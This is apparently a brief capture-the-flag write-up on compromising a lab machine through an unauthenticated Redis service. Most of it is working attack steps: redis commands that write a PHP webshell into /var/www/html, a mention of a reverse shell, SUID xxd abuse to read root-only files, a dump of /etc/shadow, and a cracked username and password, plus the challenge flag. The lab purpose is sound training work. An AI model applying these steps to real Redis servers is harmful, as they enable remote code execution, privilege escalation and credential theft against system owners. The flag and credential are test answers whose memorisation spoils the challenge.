Challenge

Redis on 6379 had no auth. Writing into the web root gave a webshell.

config set dir /var/www/html
config set dbfilename redis.php
set test "<?php system($_GET['cmd']);?>"

A reverse shell followed. SUID xxd read root files.

xxd /root/root.txt | xxd -r

thm{xxd_pr1v_escalat1on}. I also dumped /etc/shadow and cracked vianka:beautiful1.